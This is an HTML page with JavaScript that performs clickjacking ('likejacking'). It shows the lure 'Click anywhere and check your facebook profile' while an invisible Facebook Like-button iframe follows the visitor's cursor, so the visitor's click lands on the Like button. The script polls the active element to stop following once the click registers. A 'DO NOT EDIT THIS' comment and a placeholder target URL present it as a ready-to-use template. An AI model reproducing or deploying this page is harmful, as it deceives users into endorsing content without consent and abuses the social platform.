<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type">
<title>Example</title>
<script type="text/javascript" src="http://code.jquery.com/jquery-1.4.2.min.js"></script>
<script type="text/javascript">
var interval;
$(function()
{
interval=setInterval("updateActiveElement();", 50);
});
function updateActiveElement()
{
if ( $(document.activeElement).attr('id')=="fbframe" )
{
clearInterval(interval);
iflag=1;
}
}
</script>
</head>
<body>
<!--page content goes here-->
<center>Click anywhere and check your facebook profile.</center>
<!-- end of page content (but don't close your html or body tag here)-->
<div id="icontainer" style="overflow: hidden; width: 10px; height: 12px; position: absolute; opacity: 0; top: 82px; left: 142px;">
<iframe scrolling="no" frameborder="0" name="fbframe" id="fbframe" allowtransparency="true" style="border:none; overflow:hidden; width:50px; height:23px;" src="http://www.facebook.com/plugins/like.php?href=http://www.URL.com&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80"></iframe>
</div>
<script>
var iflag = 0;
var icontainer = document.getElementById('icontainer');
var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
function mouseFollower(e){
/* DO NOT EDIT THIS */
if (window.event)
{ // for IE
icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
}
else
{
icontainer.style.top = (e.pageY-5)+'px';
icontainer.style.left = (e.pageX-5)+'px';
}
}
document.onmousemove = function(e) {
if (iflag == 0) {mouseFollower(e);}
}
</script>
</body>
</html>